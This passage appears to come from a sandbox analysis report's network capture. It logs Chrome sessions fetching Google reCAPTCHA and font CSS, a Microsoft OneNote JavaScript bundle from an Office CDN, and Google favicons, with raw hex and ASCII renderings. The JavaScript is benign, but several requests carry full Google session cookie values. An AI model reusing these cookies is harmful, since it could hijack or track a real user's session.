2024-04-26 08:00:01 UTC	1255	IN	Data Raw: 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: tic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight
2024-04-26 08:00:01 UTC	810	IN	Data Raw: 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 78 50 4f 4b 4f 4e 66 4d 6f 53 6b 78 66 6f 7a 70 32 7a 66 54 57 41 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f Data Ascii: }</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/styles__ltr.css"><script nonce="xPOKONfMoSkxfozp2zfTWA" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.co
2024-04-26 08:00:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50006	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:01 UTC	686	OUT	GET /wise/owl/owl.onenote.35d48d34e42016447de5.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://usigroups-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:01 UTC	1185	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 36557 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Fri, 26 Apr 2024 08:00:01 GMT Last-Modified: Thu, 25 Apr 2024 21:45:14 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=1017898317889687465316090464942436023109"}],"include_subdomains ":true} Server: ECAcc (mid/8770) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: 19a504fb-901e-0079-175a-979424000000 Content-Length: 410039 Connection: close
2024-04-26 08:00:01 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 6e 2c 74 2c 69 2c 6f 3d 7b 31 38 32 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 6e 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 2c 74 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2d 24 22 2c 69 3d 7b 7d 3b 66 75 6e Data Ascii: var Microsoft;!function(){var e,n,t,i,o={1827:function(e,n,t){var i,o=function(){var e=String.fromCharCode,n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",i={};fun
2024-04-26 08:00:01 UTC	16383	IN	Data Raw: 65 76 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 2c 6d 47 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 2c 70 69 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 3b 76 61 72 20 69 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 69 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6e 7d 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 74 20 69 6e 20 6e 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e Data Ascii: ev:function(){return l},mG:function(){return s},pi:function(){return r}});var i=function(e,n){return i=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,n){e.__proto__=n}\|\|function(e,n){for(var t in n)Object.prototype.hasOwnProperty.call(n
2024-04-26 08:00:01 UTC	16383	IN	Data Raw: 42 6c 6f 63 6b 65 64 28 63 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 68 69 73 2e 65 6e 73 75 72 65 46 65 61 74 75 72 65 44 65 6e 6f 6d 69 6e 61 74 6f 72 4c 6f 67 67 65 64 41 6e 64 56 65 74 6f 50 69 6c 6c 61 72 52 65 67 69 73 74 65 72 65 64 28 29 2c 74 68 69 73 2e 72 65 63 6f 72 64 4b 70 69 46 61 69 6c 75 72 65 28 6e 2c 74 2c 69 2c 63 29 2c 6f 26 26 74 68 69 73 2e 72 65 63 6f 72 64 51 6f 73 45 72 72 6f 72 28 6e 75 6c 6c 21 3d 3d 28 61 3d 6f 2e 65 72 72 6f 72 4e 61 6d 65 4f 76 65 72 72 69 64 65 29 26 26 76 6f 69 64 20 30 21 3d 3d 61 3f 61 3a 74 2c 6f 2e 6e 61 6d 65 2c 6f 29 2c 30 21 3d 3d 72 29 7b 76 61 72 20 6c 3d 6e 75 6c 6c 21 3d 72 3f 72 3a 33 65 35 3b 74 68 69 73 2e 6b 70 69 46 61 69 6c 75 72 65 45 76 65 6e 74 42 6c 6f 63 6b 65 72 2e 62 6c 6f 63 6b Data Ascii: Blocked(c))return!1;if(this.ensureFeatureDenominatorLoggedAndVetoPillarRegistered(),this.recordKpiFailure(n,t,i,c),o&&this.recordQosError(null!==(a=o.errorNameOverride)&&void 0!==a?a:t,o.name,o),0!==r){var l=null!=r?r:3e5;this.kpiFailureEventBlocker.block
2024-04-26 08:00:01 UTC	3	IN	Data Raw: 65 66 6f Data Ascii: efo
2024-04-26 08:00:01 UTC	16383	IN	Data Raw: 72 65 49 69 74 69 61 6c 69 7a 61 74 69 6f 6e 2c 6e 75 6c 6c 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 2e 74 6f 53 74 72 69 6e 67 28 29 29 2c 21 31 29 7d 2c 74 68 69 73 2e 71 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 69 29 7b 69 66 28 6e 29 7b 76 61 72 20 72 3d 65 2e 73 6e 2e 70 6e 3b 69 66 28 65 2e 78 6e 26 26 28 69 3c 3d 30 7c 7c 21 65 2e 41 6e 29 26 26 65 2e 67 74 28 6e 2c 74 29 21 3d 3d 64 2e 53 65 6e 64 46 61 69 6c 65 64 29 72 65 74 75 72 6e 3b 69 66 28 21 28 69 3c 3d 30 29 29 7b 76 61 72 20 73 3d 65 2e 43 74 28 6e 2c 21 31 29 3b 69 66 28 6e 75 6c 6c 21 3d 3d 73 29 7b 69 66 28 65 2e 48 6e 28 29 29 74 72 79 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 29 7b 69 66 28 73 2e 6c 65 6e 67 74 68 3e 3d 36 35 Data Ascii: reIitialization,null==n?void 0:n.toString()),!1)},this.qn=function(n,t,i){if(n){var r=e.sn.pn;if(e.xn&&(i<=0\|\|!e.An)&&e.gt(n,t)!==d.SendFailed)return;if(!(i<=0)){var s=e.Ct(n,!1);if(null!==s){if(e.Hn())try{if(void 0!==navigator.sendBeacon){if(s.length>=65
2024-04-26 08:00:01 UTC	16383	IN	Data Raw: 6e 64 70 6f 69 6e 74 2e 20 45 72 72 6f 72 3a 20 22 2e 63 6f 6e 63 61 74 28 65 2e 6d 65 73 73 61 67 65 29 29 7d 7d 7d 29 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 75 6c 6c 3d 3d 74 7c 7c 74 2e 55 4c 53 2e 73 65 6e 64 54 72 61 63 65 54 61 67 28 35 30 39 38 37 35 30 34 32 2c 76 2e 57 2e 77 69 2c 68 2e 47 2e 57 61 72 6e 69 6e 67 2c 22 46 61 69 6c 65 64 20 74 6f 20 72 65 73 6f 6c 76 65 20 61 70 70 20 75 72 6c 20 70 72 6f 6d 69 73 65 2e 20 45 72 72 6f 72 3a 20 22 2e 63 6f 6e 63 61 74 28 65 2e 6d 65 73 73 61 67 65 29 29 7d 29 29 7d 76 61 72 20 53 3d 74 28 39 35 39 39 29 2c 62 3d 74 28 39 33 32 33 29 2c 49 3d 74 28 38 35 39 29 2c 43 3d 74 28 32 38 32 34 29 2c 54 3d 74 28 33 39 36 32 29 2c 79 3d 74 28 39 36 34 31 29 2c 41 3d 74 28 37 33 30 Data Ascii: ndpoint. Error: ".concat(e.message))}}})).catch((function(e){null==t\|\|t.ULS.sendTraceTag(509875042,v.W.wi,h.G.Warning,"Failed to resolve app url promise. Error: ".concat(e.message))}))}var S=t(9599),b=t(9323),I=t(859),C=t(2824),T=t(3962),y=t(9641),A=t(730
2024-04-26 08:00:01 UTC	16383	IN	Data Raw: 6e 75 6c 6c 3d 3d 3d 28 45 3d 75 2e 72 2e 62 6f 6f 74 73 74 72 61 70 70 65 72 49 6e 66 6f 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 45 3f 76 6f 69 64 20 30 3a 45 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2c 72 2c 6e 75 6c 6c 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 66 65 61 74 75 72 65 47 61 74 65 73 29 2c 73 65 73 73 69 6f 6e 43 6f 6e 74 65 78 74 3a 76 28 65 2e 61 70 70 55 72 6c 29 7c 7c 28 30 2c 61 2e 6c 5f 29 28 29 2c 70 72 65 73 65 65 64 65 64 53 65 73 73 69 6f 6e 3a 7b 6b 65 79 3a 6e 75 6c 6c 3d 3d 3d 28 50 3d 65 2e 70 72 65 73 65 65 64 65 64 53 65 73 73 69 6f 6e 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 50 3f 76 6f 69 64 20 30 3a 50 2e 6b 65 79 2c 69 64 3a 6e 75 6c 6c 3d 3d 3d 28 4e 3d 65 2e 70 72 65 73 65 65 64 65 64 53 65 73 73 69 6f 6e 29 7c 7c 76 6f 69 64 20 30 3d Data Ascii: null===(E=u.r.bootstrapperInfo)\|\|void 0===E?void 0:E.performance,r,null==o?void 0:o.featureGates),sessionContext:v(e.appUrl)\|\|(0,a.l_)(),preseededSession:{key:null===(P=e.preseededSession)\|\|void 0===P?void 0:P.key,id:null===(N=e.preseededSession)\|\|void 0=
2024-04-26 08:00:01 UTC	16383	IN	Data Raw: 29 7b 76 61 72 20 69 3d 6f 28 65 2c 74 29 2b 22 52 65 6d 6f 74 65 54 65 6c 65 6d 65 74 72 79 2e 61 73 68 78 22 3b 72 65 74 75 72 6e 20 6e 26 26 28 69 2b 3d 22 3f 75 73 69 64 3d 22 2b 6e 29 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 6e 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 6f 28 65 29 2c 22 4f 70 65 6e 44 6f 63 75 6d 65 6e 74 2e 61 73 68 78 22 29 2e 63 6f 6e 63 61 74 28 6e 3f 22 3f 63 6f 72 72 69 64 3d 22 2e 63 6f 6e 63 61 74 28 6e 2c 22 26 75 73 69 64 3d 22 29 2e 63 6f 6e 63 61 74 28 6e 29 3a 22 22 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 47 41 4c 4c 41 54 49 4e 22 3a 72 65 74 75 72 6e 22 68 74 74 70 73 3a 2f 2f 6d 69 63 72 6f 73 6f 66 74 67 72 61 70 68 2e 63 68 69 6e 61 63 6c 6f 75 Data Ascii: ){var i=o(e,t)+"RemoteTelemetry.ashx";return n&&(i+="?usid="+n),i}function u(e,n){return"".concat(o(e),"OpenDocument.ashx").concat(n?"?corrid=".concat(n,"&usid=").concat(n):"")}function a(e){switch(e){case"GALLATIN":return"https://microsoftgraph.chinaclou
2024-04-26 08:00:01 UTC	16383	IN	Data Raw: 6f 2e 66 69 6c 65 54 79 70 65 29 3b 69 66 28 62 29 7b 68 2e 62 6f 6f 74 73 74 72 61 70 70 65 72 55 72 6c 3d 62 2e 6a 73 41 70 69 55 72 6c 2c 68 2e 68 6f 73 74 53 65 73 73 69 6f 6e 49 64 3d 28 30 2c 75 2e 5a 6c 29 28 65 2e 73 65 73 73 69 6f 6e 43 6f 6e 66 69 67 2e 68 6f 73 74 43 6f 72 72 65 6c 61 74 69 6f 6e 49 64 29 3b 76 61 72 20 49 3d 28 30 2c 76 2e 76 4a 29 28 76 2e 46 68 2e 46 65 61 74 75 72 65 47 61 74 65 5f 45 6e 61 62 6c 65 4a 73 61 70 69 54 61 67 73 2c 6e 75 6c 6c 3d 3d 3d 28 77 3d 65 2e 75 69 48 6f 73 74 43 6f 6e 66 69 67 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 77 3f 76 6f 69 64 20 30 3a 77 2e 66 65 61 74 75 72 65 47 61 74 65 73 29 3b 28 30 2c 76 2e 64 74 29 28 76 2e 46 68 2e 46 65 61 74 75 72 65 47 61 74 65 5f 45 6e 61 62 6c 65 4a 73 61 70 69 54 61 Data Ascii: o.fileType);if(b){h.bootstrapperUrl=b.jsApiUrl,h.hostSessionId=(0,u.Zl)(e.sessionConfig.hostCorrelationId);var I=(0,v.vJ)(v.Fh.FeatureGate_EnableJsapiTags,null===(w=e.uiHostConfig)\|\|void 0===w?void 0:w.featureGates);(0,v.dt)(v.Fh.FeatureGate_EnableJsapiTa
2024-04-26 08:00:01 UTC	16383	IN	Data Raw: 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 29 3a 22 22 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 69 66 28 65 26 26 65 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 6e 3d 65 2e 6d 61 74 63 68 28 6c 29 3b 69 66 28 6e 29 72 65 74 75 72 6e 7b 68 72 65 66 3a 65 2c 70 72 6f 74 6f 63 6f 6c 3a 6e 5b 31 5d 2c 68 6f 73 74 3a 6e 5b 32 5d 2c 68 6f 73 74 6e 61 6d 65 3a 6e 5b 33 5d 2c 70 6f 72 74 3a 6e 5b 34 5d 2c 70 61 74 68 3a 6e 5b 35 5d 2c 73 65 61 72 63 68 3a 6e 5b 36 5d 2c 68 61 73 68 3a 6e 5b 37 5d 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 69 66 28 65 26 26 65 2e 6c 65 6e 67 74 68 26 26 65 2e 73 74 61 72 74 73 57 69 74 68 28 63 29 29 72 65 74 75 72 6e 22 47 72 61 70 68 22 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 65 2c 72 3d 22 Data Ascii: tIndexOf("/")):""}function v(e){if(e&&e.length){var n=e.match(l);if(n)return{href:e,protocol:n[1],host:n[2],hostname:n[3],port:n[4],path:n[5],search:n[6],hash:n[7]}}}function h(e){if(e&&e.length&&e.startsWith(c))return"Graph"}function p(e,n,t){var i=e,r="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50007	172.217.3.68	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:01 UTC	1148	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:01 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 26 Apr 2024 06:30:51 GMT Expires: Sat, 04 May 2024 06:30:51 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 5350 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 08:00:01 UTC	550	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-04-26 08:00:01 UTC	1255	IN	Data Raw: ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 a6 75 ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff 0b be fb ff 05 bc fb ff b6 ec fe ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 aa 7b ff ff ff ff ff fd fd fd f9 fd fd fd db ff ff ff ff 35 c9 fc ff 0a b2 f9 ff 6b a4 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb Data Ascii: BBBBBuBBBBB{5k7R8F2Vb5C;I
2024-04-26 08:00:01 UTC	1255	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 fe fe fe 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 24 fd fd fd ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb f5 e7 ff 8f c6 7b ff 54 a9 36 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 7e be 67 ff dd ee d7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 ff ff ff 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c4 e1 b9 ff 5c ac 3e ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 Data Ascii: /${T6S4S4S4S4S4S4S4S4S4~g"\>S4S4S4S4S4S4S4S4S4S4S4S
2024-04-26 08:00:01 UTC	1255	IN	Data Raw: ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fa c8 aa ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBBBBB}BBBBBBBBBBB}
2024-04-26 08:00:01 UTC	1115	IN	Data Raw: 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 81 8a f2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 0b fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b5 ba f7 ff 3e 4b eb ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 3f 4c eb ff ba bf f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 26 fd fd fd eb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: C5C5C5C5C5C5C5C5C5C5C5C5C5C>K5C5C5C5C5C5C5C5C5C5C5C5C?L&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50008	142.250.64.196	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:02 UTC	699	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
